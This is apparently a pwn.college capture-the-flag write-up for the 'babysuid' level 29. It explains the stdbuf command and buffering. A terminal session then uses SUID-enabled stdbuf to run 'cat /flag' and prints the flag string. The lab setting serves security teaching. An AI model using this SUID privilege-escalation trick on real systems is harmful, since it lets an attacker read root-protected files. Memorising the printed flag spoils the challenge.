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Babysuid 29.md

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stdbuf

The stdbuf command in Unix-like OS is used to modify the buffering operations of a specified command. It allows you to control the buffering behavior for standard input, output or error streams of other command.

[!NOTE] Buffering After giving some inputs to a command, they go through the input stream and stored in a memory. This memory is called buffer memory. After filling the buffer memory, it flushes all the input and they go to the processor to be executed. Buffering maximizes the processor's potential.

Why Buffering is important?

Processor is way faster than the I/O module. If you give it 1 input at a time, it will execute it at a lightning fast speed. And then it waits for the next input and become idle. The next input is coming through the input stream so slow that we are losing the processor's immense potential. That's why we first gather some input together in the buffer memory, make them a bundle and then give it to the processor. Like this, we are utilizing the processor's power.

Suppose, we have a program called prog that produces output, but the output appears buffered(not immediately shown on the terminal). We can use stdbuf to modify the buffering behavior.

stdbuf -o 0 prog

Here -o means output buffering, and 0 sets the output buffering to zero, disabling it, ensuring that the output is immediately displayed without waiting for a buffer to fill.

The stdbuf command can be useful in scenarios where you want to adjust the buffering behavior of a command, particularly when dealing with program output or input that might be buffered by default.

hacker@program-misuse-level-29:~$ cd /challenge/
hacker@program-misuse-level-29:/challenge$ ls
babysuid_level29
hacker@program-misuse-level-29:/challenge$ ./babysuid_level29 
Welcome to ./babysuid_level29!

This challenge is part of a series of programs that
will enable you to read flags by making them execute other commands.

I just set the SUID bit on /usr/bin/stdbuf.
Try to use it to read the flag!

IMPORTANT: make sure to run me (./babysuid_level29) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/stdbuf!
hacker@program-misuse-level-29:/challenge$ stdbuf -o 0 cat /flag
pwn.college{YwNawK0jk9igpZAqpy90sKaPzJx.0VM3EDL0AjNzQzW}